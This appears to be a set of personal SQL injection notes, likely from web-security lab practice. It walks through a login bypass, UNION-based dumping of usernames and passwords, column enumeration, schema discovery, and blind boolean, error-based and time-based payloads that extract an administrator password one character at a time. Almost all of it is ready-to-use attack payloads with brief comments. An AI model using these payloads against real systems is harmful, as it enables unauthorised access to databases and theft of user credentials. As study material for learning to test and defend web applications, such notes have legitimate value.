SQLi
-- this line of code retrieves all records with name 'ahmed' in department 'hr'SELECT * FROM users WHERE name = 'ahmed' AND department = 'hr'-- if user input goes to name field with no filter we can abuse this code-- if user input like ' OR 1=1 the code be likeSELECT * FROM users WHERE name = '' OR 1=1-- which makes always true condition-- this line of code retrieves all records in users table-- this line of code used to login vreficationSELECT * FROM users WHERE username = 'admin' AND password = 'p@ssword'-- if user input has no filter we can abuse this code-- if username like admin'-- the code be likeSELECT * FROM users WHERE username = 'admin'-- AND password = 'bluecheese'-- Now u IN ;)-- this line of code name and description from products table where category giftsSELECT name, description FROM products WHERE category = 'Gifts'-- Gifts is the user input-- if there is no input filter we can abuse this using this-- ' UNION SELECT username, password FROM users---- the code be like SELECT name, description FROM products WHERE category = 'Gifts' UNION SELECT username, password FROM users---- this cause the application to return all usernames and passwords along with the names and descriptions of products.-- by adding the at the end of query till error comes out-- highest number without error is the number of columns' ORDER BY 1--' ORDER BY 2--' ORDER BY 3---- last step we know number of colums-- we write number of colums represented with NULLs like this' UNION SELECT NULL--' UNION SELECT NULL,NULL--' UNION SELECT NULL,NULL,NULL---- let's say we have 3 colums we wanna to identifiy data type of each column-- try one by one ...' UNION SELECT 'a',NULL,NULL---- if now error thats mean firt column is String next one' UNION SELECT 'a',1,NULL---- if now error thats mean second column is Integer next one' UNION SELECT 'a',1,'a'---- if now error thats mean third column is String
-- if application infected with SQLI we can run some code ... it's generally useful to obtain some information about the database itself. This information can often pave the way for further exploitation.-- we can know database type in Oracle DB using this SELECT * FROM v$version-- we can also determine what database tables existSELECT * FROM information_schema.tablesSELECT * FROM information_schema.tables-- Output likeTABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE=====================================================MyDatabase dbo Products BASE TABLEMyDatabase dbo Users BASE TABLEMyDatabase dbo Feedback BASE TABLE​SELECT * FROM information_schema.columns WHERE table_name = 'Users'-- Output likeTABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE=================================================================MyDatabase dbo Users UserId intMyDatabase dbo Users Username varcharMyDatabase dbo Users Password varcharSELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm-- repeat to reach right charxyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'txyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), §1§, 1) = '§a§-- here app return welcome which means first char of password is 's'-- repaet for next chars ... Congrats u have password-- ================ Scenario ================-- check if app infected with SQLIxzy''-- test using concat'||(select '' from users where ROWNUM=1)||'-- check if there is user named administrator'||(select case when (1=1) then TO_CHAR(1/0) ELSE '' END from users where username='administrator')||'-- brute force pass lenght'||(select case when length(password)>§1§ then TO_CHAR(1/0) ELSE '' END from users where username='administrator')||'-- brute force pass'||(select case when substr(password,§1§,1)='§a§' then TO_CHAR(1/0) ELSE '' END from users where username='administrator')||''; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, §1§, 1) = '§a§') = 1 WAITFOR DELAY '0:0:{delay}'--'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users---- test SQLI'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--'; SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END---- check if there is user named administrator'; SELECT CASE WHEN (username="Administrator") THEN pg_sleep(10) ELSE pg_sleep(0) END---- calc pass lenght'; SELECT CASE WHEN (username="Administrator" AND LENGTH(password)=§1§) THEN pg_sleep(10) ELSE pg_sleep(0) END---- calc pass lenght ** Cluster Bobm Technique **'; SELECT CASE WHEN (username="Administrator" AND SUBSTR(password,§1§,1)=§a§) THEN pg_sleep(10) ELSE pg_sleep(0) END--
Last updated